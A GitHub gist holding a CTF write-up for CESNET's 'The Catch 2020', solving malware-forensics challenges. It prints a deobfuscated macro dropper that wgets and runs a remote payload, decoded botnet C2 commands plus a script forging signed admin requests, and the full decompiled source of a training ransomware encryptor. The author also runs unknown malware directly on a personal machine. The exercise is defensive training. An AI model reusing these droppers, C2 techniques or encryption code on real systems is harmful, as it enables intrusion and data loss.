Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Write-up for annual CTF competition The Catch 2020 organised by CESNET

The Catch 2020

Author: risinek

Structure

What I have used

Additional notes

For some challenges there were hints available but there was no penalization for using them.

Maximum score was 25 points.

The Training Ground

Intro (0)

Hi, junior investigator!

Recently, severe danger for whole humanity has emerged again in form of aggressive virus malware, which decimates the Internet population. Many computers were infected a nearly all of them were encrypted by ransomware called RANSOMVID-20. Some governments have already announced digital quarantine for most affected companies and its employees are not allowed to use computers, smartphones, etc.

We need your help to solve this issue, otherwise we will have to return to the steam age technologies. Enter the code FLAG{a5AG-IVeK-jYvv-Brvq} to get the access to the Training Ground.

Good luck!

Malicious e-mails (1)

Hi, junior investigator!

We have extracted a bunch of suspicious e-mails. We believe that you can analyze them and find their secret.

Use password MaIlZZzz-20 to download the evidence

Good Luck!

Hint: It is always better to script repetitive activities.

So clearly bunch of emails with attachments encoded by base64. Goal is simple - extract these, decode and see. For that I used munpack program, that extracted and decrypted all attachments to separate files - munpack -t *.eml

I did a quick search through the files for "FLAG" string, but nothing was found, so then I went through the attachments manually and checked them.

I spotted multiple different URLs so I prepared little script to access them one by one.

for filename in ./part*; do
  url=$(cat $filename | egrep -o 'https?://[^ ]+') 
  echo $url
  curl $url
done

http://challenges.thecatch.cz:20100/npelfsd0btmaovy2 was the correct one - FLAG{Tyqz-EgrI-8G7E-6PKB}.

Spam everywhere (1)

Hi, junior investigator!

We get some recorded traffic, we believe you can analyze it and found whether it contains something malicious.

Use password sPaMMerS-wOrKS to download the evidence

Good Luck!

I've opened spam_everywhere.pcap to have a quick look. I used Follow TCP Stream tool Analyze -> Follow -> TCP Stream... in ASCII format and saw lot's of emails with the same attachment named rv20protector.png that was clearly encoded in base64.

Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=rv20protector.png

I manually exported that base64 string and saved it as rv20protector.png file, then run base64 -d rv20protector.png > e.png and I got readable image. missing image At the bottom of the image, there is a FLAG we are looking for - FLAG{SaXY-u8fc-p1Kv-oXoT}

Easy Bee (1)

Hi, junior investigator!

We have for you something malicious called "Easy Bee". We believe that you can analyze it and found what is its purpose.

Use password eAsY-beE-mAlWr-20 to download the evidence

Good Luck!

Checked the executable using HxD64 viewer, whether I will be able to assume something from it's binary code, but besides it's Python executable I did not find anything else. So I said YOLO to myself, and ran the program directly in my system.

Hello, I'm Easy-Bee-yazt2u5r, give a copy of me to your friends!
Starting
Order received.
Order received.

It clearly did "something" periodically and order received didn't sound like it's doing something locally on the machine itself. So as a quick check I pulled of Ethernet cable from my laptop to see program's reaction. It failed with some network exception as I expected. So next step was capturing packets in Wireshark and see what's going on.

There was a TCP stream going on between my machine and 78.128.216.92. So again I followed this stream and saw (with a little bit of formatting for this write-up)

Easy-Bee-yazt2u5r ready for work
KHello, your order is to keep in secret this flag: FLAG{MXcz-PrQK-FJbJ-jWVA}

Flag == FLAG{MXcz-PrQK-FJbJ-jWVA}

Wiretaped message (1)

Hi, junior investigator!

We have wiretaped strange communication - probably a message. Try to decode it.

Use password wiREtaPeD-msG to download the evidence

Good Luck!

Hint: Transmission usually contains message... and its length.

Unzipped the message, opened it in Atom, and saw base64 string. After trying to decode it using Atom plugin, I have found out that it's not possible as it was multiple base64 strings that were not separated and the length of each base64 was unknown.

So I examined this file message in HxD64 to see all bytes. After a while I got the pattern - first byte is number multiplied by 256 + second byte is the "offset" and together it gives a length of base64 string.

For parsing binary file I used Kaitai IDE that is available online and binary file is being processed in real time. I have created a short parser and ran it on message file.

meta:
  id: pars
  file-extension: pars
  encoding: utf-8

seq: 
  - id: message
    type: message
    repeat: eos

types:
 message:
  seq:
  - id: cnt
    type: u1
  - id: length
    type: u1
  - id: message
    type: str
    size: (cnt * 256) + length

This gave me JSON object full of messages like this

{
  "message": [
    {
      "cnt": 0,
      "length": 84,
      "message": "QXBwZWFyIHdlYWsgd2hlbiB5b3UgYXJlIHN0cm9uZywgYW5kIHN0cm9uZyB3aGVuIHlvdSBhcmUgd2Vhay4="
    },
    {
      "cnt": 0,
    ...

From which I extracted messages using jq tool cat messages.json | jq -r ".[][] | .message" | base64 -d > decoded and got decoded text that contained FLAG{YHsB-hr0J-W2ol-fV17}

The Malware Research Facility

Promotion (0)

Hi, junior investigator!

You have successfully completed the training and earned the promotion to the Executive Senior Investigator. You are ready to get access to the malware research facility - just enter the code FLAG{Jb91-XGSI-05xR-kqgQ} and save the world from the RANSOMVID-20 imminent threat. Remember - many of our experienced investigators have been already digitally quarantined, so be careful!

Good luck!

Malware spreading (2)

Hi, executive senior investigator!

We suspect that the malware is primarily spreaded somehow by e-mail. We have partial traffic dump from one small company, that was attacked. Try to check this hypothesis.

Use password ThE-MaLWr-MaIlZZz-20 to download the evidence Good Luck!

I have opened the malware_spreading.pcap with Wireshark and followed TCP streams there. There were 4 streams of IMAP conversations. Searched for FLAG string, but nothing was found. There was again bunch of encoded attachments, so I saved all four stream separately for further investigation. Then I had to somehow parse the attachments from these streams. First I have separated base64 attachments themselves.

cat stream0 | grep -zPo '(?s)base64.*?=====' > parsed/stream0
...

Then I split them into separate files using csplit

cd stream0
csplit * '/base64/' '{*}'
...

Finally I gave them names based on their metadata

mkdir $1/out
cnt=0
for f in $1/*; do
  cnt=cnt+1
  echo $f
  filename=$(tail -n +2 $f | grep "Content-Disposition" | sed 's/.*filename=<\(\S*\)>.*/\1/')
  echo $filename
  
  if [ -z $filename]; then
    echo "No filename found!"
    filename=text$cnt
  fi
  tail -n +3 $f | base64 -d > $1/out/$filename
done

In stream0 there was a file winning_numbers.zip, in the stream3 there was a text, that said

Oh my, you will need the secret 'HappyWinner-paSSw00rd42'. See ya! A.
-- 
Alice Nelson
Senior assistant of executive vice-president
alice@cypherfix.cz
+420 555 25 69 04

Got the password, unzipped winning_numbers.zip and got nation_lottery_numbers.ods file. So I renamed the file extension to zip, extracted it's content and found Basic\Standard\Module1.xml that contained flag FLAG{rUn5-GwMR-IlY6-orZd}.

Attachment analysis (3)

Hi, executive senior investigator!

Well done, we have acquired the malicious mail attachment. Now, you should take a closer look on it and find out, how it works.

Use password ThE-aTTacHmEnt-20 to download the evidence

Good Luck!

Hint: E-mail attachments are usually just droppers.

Similarly to previous challenge, I unzipped nation_lottery_numbers.ods by renaming it from ods to zip and then investigated it's files. Again there was a file Basic\Standard\Module1.xml but now a with different content. It was some script clearly obfuscated in some way. From file metadata I knew it was written in StarBasic language. So I started looking into it's documentation and after a while I came up with this Python script (this is just a core part of it)

pattern=r"chr\(.*?\)"
chrlist=re.findall(pattern, file)

newfile=file
for chrr in chrlist:
    exprsn=chrr.replace("chr(","")
    exprsn=exprsn.replace(")","")
    exprsn=exprsn.replace("int(Rnd(","1")
    print(exprsn)
    if(exprsn != "") :
        code=int(eval(exprsn))
        newfile=newfile.replace(chrr+"+",chr(code))
        newfile=newfile.replace(chrr, chr(code))

All strings were obfuscated by using chr() function, that converts integer to ascii. So the script replaced all of these chr() function calls with actual letters.

Then I did some manual changes, like rewriting variable names for better orientation and added indentation to code blocks and ended up with this code (shortened)

...
array20101 = Array("http://challenger.thecatch.cz:20101", "http://freedata.thecatch.cz:20101", "http://www.challenges.thecatch.cz:20101", "http://wordpress.thecatch.cz:20101", "http://root.thecatch.cz:20101", "http://challenges.thecatch.ex:20101", "http://challenges.thecatch.example:20101", "http://challenges.thecatch.mirror:20101", "http://challenges.thecatch.cz:20101")
array20912 = ...
...
dim GGGG
while True
    ...
    HHHH = array20101(-17-76-54+64+96-13)
    GGGG = 10
    GGGG = GGGG + 60
    if ... then
        HHHH = array20101(279-74-78-64-91+29)
    elseif ... then
        HHHH = array20101(132-88+26+97-107-8-15-35)
    ...
    dim MMMM
    ...
    Const RRRR = 0
    Const SSSS = 40
    Const TTTT = 4
    ...
    For CCCC = RRRR To SSSS Step TTTT
        ...
        MMMM = MMMM + chr(GGGG)
        GGGG = GGGG + 3
        Next CCCC
    MMMM = left(MMMM, 7)
    ...
    Select Case AAAA:
            ...
        Case 14+45+36-91:
            NNNN = "/tmp/update.bin"
            HHHH = HHHH & "/" & MMMM & "_update_OB127q45D.msi"
            Shell("wget " & HHHH & " -O " & NNNN)
            ...
    End Select

Based on this deobfuscated code I was able to filter out unused code and rewrite the core part into Python and simulate it. URL from array20101 is always used as array20912 is never assigned to HHHH anywhere. Also it is apparent, that the script tried to download something using wget from built URL based on some conditions. So this is Python equivalent code:

mmmm=""
gggg=70
for x in range(0, 40, 4):
    mmmm = mmmm + chr(gggg)
    gggg=gggg+3

print(mmmm)

From the mmmm I then used 7 letters from left (MMMM = left(MMMM, 7)) and got FILORUX and appended it to URL. Because in the original script random numbers were used to pick URL from the URL array, I had to try all of the URLs one by one. Correct URL was http://challenges.thecatch.cz:20101/FILORUX_update_OB127q45D.msi from which I downloaded FILORUX_update_OB127q45D.msi file (obviously) and it was just a text file containing flag in plaintext - FLAG{XRC9-XyEE-tlTV-nOl7}

Downloaded file (3)

Hi, executive senior investigator!

The file, you have acquired in previous investigation is not the malware, we were looking for. The attacker probably replaced it to fool us. Fortunatelly, we have a traffic dump, where you can probably find the original file. Try to find it and do not forget to be sure it is the correct file.

Use password ThE-doWNloAdeD-fIlE-20 to download the evidence

Good luck!

Hint: Run the correct file in correct way.

Again I opened pcap file in Wireshark. Saw plenty of HTTP traffic, mostly downloads of some files, so I exported them directly by using Wireshark - File -> Export Objects -> HTTP. Then I started investigating these files, but nothing significant I have found. So I looked again into pcap and spotted that file linux_core_update.bin was downloaded from non-standard port 20101 (http://challenges.thecatch.ex:20101/linux_core_update.bin) which was the same like in previous challenge. So I ran the binary and got error message

usage: linux_core_update.bin [-h] -ip IPADDRESS -p PORT
linux_core_update.bin: error: the following arguments are required: -ip/--ipaddress, -p/--port

So I reran it with -h parameter and got

usage: linux_core_update.bin [-h] -ip IPADDRESS -p PORT

FT2-Botnet: Client

optional arguments:
  -h, --help            show this help message and exit
  -ip IPADDRESS, --ipaddress IPADDRESS
                        Server IP address
  -p PORT, --port PORT  Server port

Based on the FT2-Botnet: Client I was sure I'm on the right track using the right file. I remembered, that in previous challenge I saw -ip 78.128.216.92 -p 20210 in Basic\Standard\Module1.xml while deobfuscating it.

Case 14+45+36-91:
    NNNN = "/tmp/update.bin"
    HHHH = HHHH & "/" & MMMM & "_update_OB127q45D.msi"
    Shell("wget " & HHHH & " -O " & NNNN)
    if filelen(NNNN) > 47-71-25-45+52+42 then
        ...
        Shell(NNNN & " -ip 78.128.216.92 -p 20210")
        ...
        ...
    end if

So I reused these parameters, ran ./linux_core_update.bin -ip 78.128.216.92 -p 20210 and got flag FLAG{l03Y-BDjA-uB5v-PHVB}

The Connection (4)

Hi executive senior investigator!

Cool, you have found the malware dropped on target computer. According to your defined procedure and your previously detected IoC (indicators of compromise), we were able to find other versions of malware in traffic dumps - we assume it is some kind of botnet client. Unfortunatelly, it looks like the C2 server has been meanwhile upgraded and although the server reacts to client's messages, the client can't decode the orders. You should investigate the communication.

Use password ThE-CaNDc-cONNecTiOn-20 to download the evidence

Good luck!

Hint: Indicators of compromise (IoC) are very valuable for any investigation.

Nothing suspicious in binary file examining using HxD64, so I ran the program ./botnet_client -ip 78.128.216.92 -p 20210 and got

The Catch 2020 Botnet Client started (server on 78.128.216.92 port 20210)
Received unknown order
Received unknown order

So next step was packet capture using Wireshark. Followed TCP stream again, exported it and processed.

x5b97o4skadnwuri;;ready.......4ODMzMzMzMDMxM2IzYjM0Nzk2MTY3N2lydXduZGFrczRvNzliNXg=
x5b97o4skadnwuri;;ready.......0MjM3MzczOTNiM2IzNDc5NjE2NzdpcnV3bmRha3M0bzc5YjV4
x5b97o4skadnwuri;;ready.......0MDM1MzEzOTNiM2IzNDc5NjE2NzdpcnV3bmRha3M0bzc5YjV4
x5b97o4skadnwuri;;ready.......0MjM2MzUzODNiM2IzNDc5NjE2NzdpcnV3bmRha3M0bzc5YjV4

First I decoded base64 - its length has to be dividable by 4, so there is some garbage at the begining (didn't need to examine what they are for at this point). Best approach was to calculate length starting from the end of the string.

x5b97o4skadnwuri;;ready.......48333330313b3b347961677iruwndaks4o79b5x
x5b97o4skadnwuri;;ready.......023737393b3b347961677iruwndaks4o79b5x
x5b97o4skadnwuri;;ready.......003531393b3b347961677iruwndaks4o79b5x
x5b97o4skadnwuri;;ready.......023635383b3b347961677iruwndaks4o79b5x

Clearly the strings are reversed (client id string is in reverse) so I reversed it (without the leading number)

x5b97o4skadnwuri;;ready.......4x5b97o4skadnwuri776169743b3b3130333338
x5b97o4skadnwuri;;ready.......0x5b97o4skadnwuri776169743b3b39373732
x5b97o4skadnwuri;;ready.......0x5b97o4skadnwuri776169743b3b39313530
x5b97o4skadnwuri;;ready.......0x5b97o4skadnwuri776169743b3b38353632

Convert bytes trailing node name to ASCII (and added spaces to make it more clear here)

x5b97o4skadnwuri;;ready.......4 x5b97o4skadnwuri wait;;10338
x5b97o4skadnwuri;;ready.......0 x5b97o4skadnwuri wait;;9772
x5b97o4skadnwuri;;ready.......0 x5b97o4skadnwuri wait;;9150
x5b97o4skadnwuri;;ready.......0 x5b97o4skadnwuri wait;;8562

So it was a countdown. Meaning that I have nothing else to do than wait (actually I spend at least half of the time trying more and more stuff as I didn't realized that all I have to do is wait)

The countdown was not related to "client" life, so as the client had some exponential or whatever throttling for sending requests, I could simply wait and then run another client session without loosing time waited.

After the wait reached zero, the server gave me ransomvid1984.bin. Unfortunately I can't remember now whether it was URL or binary data directly or in some other form, but it was text file and contained plaintext flag - FLAG{kT0c-WTfc-S326-Jp1A}

Botnet master (4)

Hi, executive senior investigator!

We have managed to get a rare catch - a traffic dump of issuing commands for the C2 server by its master! Glory to the network specialists of unnamed company. Try to find out how this communication works.

Use password maSTeR-aND-coMMAndEr to download the evidence

Our network analytics report that one of currently online C2 servers can be found on IP 78.128.216.92 on TCP/20220.

Good luck!

In the pcap file that I have examined with Wireshark, there was 1511 TCP streams to follow. I have "exported" them into single file by using this little script using tshark

for stream in {0..1511}
do
    echo $stream
    tshark -q -r master.pcap -z "follow,tcp,ascii,$stream" >> streams
done

Trimmed of non-ascii values that were replaced by dots

cat streams | grep "\.\.\." | tr -d '.' > trimmed

And I got something like this, where odd lines were requests from botnet clients/admin, even were responses from botnet server

hODc1N2U2OTZjNGIzYjM5NzQ2MTY1NjI3YjNiMzc2NTM4MzYzNDY0M2E2MTYzNzIzMDczNjg3ODZlNjEzZzU4NmQ0amFzMnBjeGhuMQ==
,MDMzM2IzYjM0Nzk2MTY3NzAwMDAwMDAwMDAwMDAwMDA=
hODc1N2U2OTZjNGIzYjM5NzQ2MTY1NjI3YjNiM2M2OTZhNjU2ZTYyMzMzYjZkNjYzMTcyNjc3MTYxMzUzbGlqZW4yM2ttNnFid2ExNQ==
,MDMzM2IzYjM0Nzk2MTY3NzAwMDAwMDAwMDAwMDAwMDA=
...

After decoding and manipulating strings (base64 decode, reverse string, convert hex to ascii) I got plaintexts

1nhxcp2saj4d685g;;ready;;Linux
wait;;30
51awbq6mk32nejil;;ready;;Linux
wait;;30
...

For automation I created this little python script (not a full script, just the core functionality)

for line in lines:
    ln = len(line) % 4
    if(ln != 0):
        line = line[ln-1:]
    b64_bytes = line.encode('ascii')
    msg_bytes = base64.b64decode(b64_bytes)
    decoded_line = msg_bytes.decode("ascii")
    reversed_line = decoded_line[::-1]
    hex_line="ERROR"
    try:
        hex_line=bytes.fromhex(reversed_line).decode("ascii")
    except ValueError:
        hex_line=bytes.fromhex(reversed_line[16:]).decode("ascii")
    hex_line = hex_line + '\n'
    fo.writelines(hex_line)

And I saw some more interesting requests/respones

kl5puyj43brf7iso;;wait;;*;;5;;944f8b5a851f3ee8c4c8d0a30ca2f2b94cc6a3371b9ca09c4634d2da4884c44e5afb7ea7329ce724e38d07d7a4ebcfeb
command accepted;;
...
kl5puyj43brf7iso;;info;;203.0.113.16.20202;;active;;3799114f203fbb343e8003ab2bc7dc1890d2e748ed4d6f17d630cb0f70db1a89e5ed98609e41136b3d44836a52a12122
ffff0000ffff0000,0hpxc5sdo9kgne64,c6p0x84lamhowyk5,06fylhnt3wm4ikrx,irg6s7z8xvbnh0aj,dhps6t2u5egi1jrx,eimxd0lj4tby5gf7,ez0by4jqd3sikm8c,ds21bowz45903pgm,ws1mk4iae80b53jc,51awbq6mk32nejil,1nhxcp2saj4d685g
...
kl5puyj43brf7iso;;download;;*;;/tmp/update;;http://198.19.220.13:80/update2.bin;;d954e7c208079d348f7763176a0a65b6b43f01c49439b970a7e73ab2d59c0a000c8cff64981f1e918ba110cd1de7dd24
command accepted;;
...

These were clearly admin commands to the botnet server.

After some time I have figured out how admin controls whole botnet.

  • botnet client periodically pings botnet server with ready state
  • botnet server responses with latest command issued by admin or with configured wait
  • botnet client do the commands or waits for given time before pinging server again (the wait is basically command too)
  • admin sends commands to botnet server that responds with either command_accepted, bad_command, unknown_command or for special commands with an actual response data

At this point I did lots of blind guesses where the flag may be stored. There were for example these commands that would suggest that the file contains flag and that the admin can issue botnet client to send it's content (e.g by simply cat it).

kl5puyj43brf7iso;;download;;0hpxc5sdo9kgne64;;/tmp/flag;;http://198.19.220.13:80/flag;;cfb8ad2096b87f07ef3154e198862bab81bce63cba14fd1ecd01ac83c849a42df494dd3b64793f4fad8cc02aa21ec61e
...
kl5puyj43brf7iso;;execute;;*;;ls /etc;;b8d4cd29e64dbf3cec215e6444ef8d5eff5df0f75389fb564ecb13008a6738a681a1f3cfe1ef3699cd9a5809eb7fa9f6

But the problem was, that botnet clients are not directly responding to admin and there were no commands exposed in the captured communication, that would somehow fetch botnet client responses.

Anyway I still had to reverse engineer admin requests, so I can build them on my own. So I started examining admin requests themselves.

kl5puyj43brf7iso;;wait;;*;;5;;944f8b5a851f3ee8c4c8d0a30ca2f2b94cc6a3371b9ca09c4634d2da4884c44e5afb7ea7329ce724e38d07d7a4ebcfeb

First I tried to figure out the last parameter - 944f8b5a851f3ee8c4c8d0a30ca2f2b94cc6a3371b9ca09c4634d2da4884c44e5afb7ea7329ce724e38d07d7a4ebcfeb. Converting it as hex to ASCII did not work here. I tried blindly some encoding/decoding algorithms, but without success. Then I spotted, that the length is exactly 96 bytes in every admin request. After some searching, everything suggested it's sha384.

Now I had to figure out what part of the command is being hashed. I did this using try and error method, but I got lucky and one of my early guesses was (in context of the command above) ;;wait;;*;;5. So based on this I knew, that everything after admin id (kl5puyj43brf7iso) up to last ;; delimiter had to be hashed. And also all admin requests had prefix of 16 zero bytes - this was clear from pcap directly.

So I made simple Python script to send request in correct format to botnet server and receive response (again, it's just a core part, not a whole script)

tcpip = '78.128.216.92'
tcpport = 20220
buff_suze = 2048

admin=True
node_name="kl5puyj43brf7iso"
cmd_msg = ";;info;;78.128.216.92.20220;;clients"

cmd = node_name + cmd_msg
if(admin):
    cmd_prefix = "0000000000000000"
    cmd = cmd + ";;" + hashlib.sha384(cmd.encode("ascii")).hexdigest()
    print(cmd)
else:
    cmd_prefix = node_name
cmd_hex = bytes.hex(cmd.encode('ascii'))
cmd_hex = cmd_prefix + cmd_hex
reversed_cmd = cmd_hex[::-1]
cmd_bytes = base64.b64encode(reversed_cmd.encode('ascii'))
cmd_bytes_decoded = cmd_bytes.decode("ascii")
msg_len=len(cmd_bytes_decoded)
cmd_bytes_prefix="{0:0{1}x}".format(msg_len,16)
cmd_bytes_encoded=cmd_bytes_prefix + bytes.hex(cmd_bytes)
message_bytes = bytes.fromhex(cmd_bytes_encoded)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((tcpip, tcpport))

s.send( message_bytes)

data = s.recv(buff_suze)
print(bytes.hex(data))
data = data.decode("ascii")

data = data[7:]
ln = len(data) % 4
if(ln != 0):
    data = data[ln:]
b64_bytes = data.encode('ascii')
msg_bytes = base64.b64decode(b64_bytes)
decoded_line = msg_bytes.decode("ascii")

reversed_line = decoded_line[::-1]

hex_line="ERROR"
try:
    hex_line=bytes.fromhex(reversed_line).decode("ascii")
except ValueError:
    hex_line=bytes.fromhex(reversed_line[16:]).decode("ascii")

s.close()

Now I was able to experiment and change the commands as I wished. After endless tries I ended up trying to "replay" commands that the admin did on captured communication, and the command ;;info;;78.128.216.92.20220;;clients was the correct one (even though it's pretty similar to "active" command that I tried numerous times before, this one triggers different response from the botnet server). Botnet server responded to this command with list of clients that also included flag FLAG{uLHI-3Zq1-kOHx-FGR1}

Ransomware (5)

Hi, executive senior investigator!

Finally, we have acquired the RANSOMVID-20 encryption module. According to the information from our partners, it encrypts files on any drives, it can found. We have also one image of relatively small drive, which was affected by RANSOMVID-20 only (no user or system action were undertaken). Try to find out how to decrypt the files without paying any single TCC.

Use password rAnSOmVID-20 to download the evidence

Good luck!

WARNING: The ransomware executable is dangerous - virtual machine is strongly recommended for the analysis.

First I examined image.dd disk image. Based on the provided informations, this ransomware encrypts just files themselves, not whole partitions of disks, so I expected the disk image is readable. I tried to mount it, but I was unable to do so. So I looked around for some tool to extract files from disk images, and found NTFS_File_Extractor64.exe that did exactly what I needed. It went through the disk image and extracted all files from the disk to folder. So I could start investigating the encrypted files. Unfortunately I did not manage to get much information from those encrypted data, so I had to focus on ransomvid_20.exe file.

I tried to find a way how to run safely the ransomvid_20.exe on Windows. I have found out, that Windows 10 (Pro and Enterprise editions) has built-in sandbox feature that can be used exactly for these kinds of needs. First hint was, that the program required public RSA key. So I assumed files are encrypted using RSA. I tried to encrypt some file that I have created and hence having a plaintext and then compare it to encrypted one, but it didn't helped much.

So I started examining the ransomvid_20.exe itself more deeply. In the binary data that I've examined using HxD64, I spotted lots of Py strings there. This leaded me to assume that it's some kind of Python executable binary. So I started looking for some decompiler. I have found this tool pyinstxtractor.py, that extracted content of PyInstaller Windows executable to separate folder for further processing. Then I used uncompyle6 decompiler to get readable python script from PYC files extracted by pyinstxtractor.

Unfortunately all PYC files were just python libraries. But there was also a file ransomvid_20 that looked very similar to other PYC files, but could not be decompiled by uncompyle6. So I compared it's bytes with other PYC files and found out that ransomvid_20 had some additional leading bytes. So I just removed them and the decompiler was able to decompile the bytecode. Here is fully decompiled ransomvid_20.py Python script

# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.5.3 (default, Sep 27 2018, 17:25:39) 
# [GCC 6.3.0 20170516]
# Embedded file name: ransomvid_20.py
"""
CTF - Ransomvid-20
"""
__author__ = 'Aleš Padrta @ CESNET.CZ'
__version__ = '1.0'
import argparse, random
from os import walk
import pyaes, rsa

def get_args():
    """
        Cmd line argument parsing (preprocessing)
        """
    parser = argparse.ArgumentParser(description='Ransomvid-20 (!!!I can really hurt, if you run me!!!)')
    parser.add_argument('-p',
      '--path',
      type=str,
      help='Path to encrypt',
      required=True)
    parser.add_argument('-k',
      '--keyfile',
      type=str,
      help='The RSA public key',
      required=True)
    args = parser.parse_args()
    return (
     args.path, args.keyfile)


def get_filenames(path):
    """
        Get list of files to encrypt in given path
        """
    filenames = []
    for root, directories, files in walk(path):
        for name in files:
            if name.split('.')[(-1)] not in ('mpeg', 'avi', 'mp4', 'dd'):
                filenames.append('{}/{}'.format(root, name).replace('\\', '/'))

    filenames.sort()
    return filenames


def init_random(myseed):
    """
        Initialize randomization by defining seed
        """
    random.seed(myseed)


def get_random_aes_key(length):
    """
        Generate random AES key
        """
    key = bytearray(random.getrandbits(8) for _ in range(length))
    return key


def aes_encrypt(data, aeskey):
    """
        Encrypt/decrypt data by provided AES key
        """
    aes = pyaes.AESModeOfOperationCTR(aeskey)
    encdata = aes.encrypt(data)
    return encdata


def read_rsakey(filename):
    """
        Read RSA encryption key from file
        """
    with open(filename, mode='rb') as (public_file):
        key_data = public_file.read()
    public_key = rsa.PublicKey.load_pkcs1_openssl_pem(key_data)
    return public_key


def rsa_encrypt(data, key):
    """
        Encrypt data by provided RSA key (public part)
        """
    encdata = rsa.encrypt(data, key)
    return encdata


def read_file(filename):
    """
        Read content of file to variable
        """
    with open(filename, 'rb') as (fileh):
        data = fileh.read()
    return data


def write_file(filename, key, data, orig_len):
    """
        Write header + encrypted content to file
        """
    with open(filename, 'wb') as (fileh):
        fileh.write(b'RV20')
        fileh.write(key)
        fileh.write(orig_len.to_bytes(8, byteorder='big'))
        fileh.write(data)


def main():
    """
        Main ransom function
        """
    path, rsakeyfile = get_args()
    filenames = get_filenames(path)
    print('Found {} files'.format(len(filenames)))
    if filenames:
        for filename in filenames:
            print('  {}'.format(filename))

    rsakey = read_rsakey(rsakeyfile)
    init_random(2020)
    for filename in filenames:
      
        aeskey = get_random_aes_key(32)
        data = read_file(filename)
        enc_data = aes_encrypt(data, aeskey)
        enc_aeskey = rsa_encrypt(aeskey, rsakey)
        write_file('{}'.format(filename), enc_aeskey, enc_data, len(data))


main()

At this point I had fully exposed encryption mechanism and I could write own script for decryption.

Encryption works as follows

  1. first it generates AES key "randomly"
  2. encrypts the file data using AES
  3. then the AES key is encrypted by public RSA key
  4. RV20 string + encrypted AES key + original file length prepend the encoded file data

So the problem here is, if we don't have private RSA key, we can't decrypt the AES keys located at the encrypted file data and hence we would have to crack strong RSA encryption to be able to get AES key for decryption.

However this encryption script has a security gap in generating random bytes for AES keys. Calling init_random(2020) where 2020 is always the same seed. This actually means that every time this script is run, it will generate same set of random numbers, which also means same set of AES keys.

Hence I was able to generate the same set of AES keys and effectively bypass RSA encryption as there is no need to decrypt the AES key attached to the encrypted file.

I just had to guess the right AES key for each file, because I did not know the exact order in which the files were encrypted (probably I would be able to get the order as the files are sorted at the beginning of encryption, but it was not really necessary for this short set of files on the disk).

I prepared a Python script for decryption

aes_keys=[]
random.seed(2020)
for i in range(1,50):
   key = bytearray(random.getrandbits(8) for _ in range(32))
   aes_keys.append(key)

The part above will prepare first 50 AES keys which is more than actual number of files on the disk image, so all used AES keys during encryption should be covered.

And then just simply iterate over these AES keys for each file and decrypt the file fifty times.

for i, aes_key in enumerate(aes_keys):
    
    out_filename="out/" + dirr + str(i) + "_" + filename
    print(out_filename)
    
    aes = pyaes.AESModeOfOperationCTR(aes_key)
    data_dec = aes.decrypt(data_data)

Then I went manually over all of these 50 files and picked the correct one (readable one).

I did not have to decrypt all files. First I tried files in "flags" folder as they were my strongest candidates to contain flag. Unfortunately there was no flag in the these files, so second candicate was the text file iustum.txt. And that was the right guess. 40th (41st if counted from 1) AES key decrypted this file and it contained the final flag FLAG{TMMW-rUaP-B2Ko-XejX}

Epilog (0)

Hi, savior of the world!

You have succesfully analyzed all aspects of the dreadful malware, which has threatened the Internet population. The digital quarantine can be now lifted and the happy users can return to their ordinary activities - especially to searching pictures and videos of fluffy cute kittens...

We would like to ask you to fill short questionnaire - we need some information for eventual prize delivery.

You can also enter the flag FLAG{aKAL-qQhH-MsAz-miUG} to set this challenge green :-)

See you!

Disclaimer

All scripts I made during this competition were made as single purpose, so I did not optimized them more than I needed at the time I was solving the challenges. Also I skipped some of my tries that leaded to death ends.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.